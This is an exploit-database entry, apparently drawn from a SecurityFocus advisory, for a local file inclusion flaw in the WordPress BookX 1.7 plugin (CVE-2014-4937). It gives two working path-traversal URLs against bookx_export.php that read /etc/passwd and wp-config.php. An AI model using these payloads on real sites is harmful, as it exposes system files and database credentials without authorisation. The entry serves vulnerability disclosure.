WordPress Plugin BookX 1.7 - 'bookx_export.php' Local File Inclusion

Author: Anant Shrivastava
type: webapps
platform: php
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date_added: 2014-05-28 
date_updated: 2016-10-24 
verified: 1 
codes: CVE-2014-4937;OSVDB-109022 
tags: WordPress Plugin
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source: https://www.securityfocus.com/bid/68556/info

BookX plugin for WordPress is prone to a local file-include vulnerability because it fails to adequately validate user-supplied input.

An attacker can exploit this vulnerability to obtain potentially sensitive information; other attacks are also possible.

BookX plugin 1.7 is vulnerable; other versions may also be affected.

http://www.example.com/wp-content/plugins/bookx/includes/bookx_export.php?file=../../../../../../../../etc/passwd

http://www.example.com/wp-content/plugins/bookx/includes/bookx_export.php?file=../../../../wp-config.php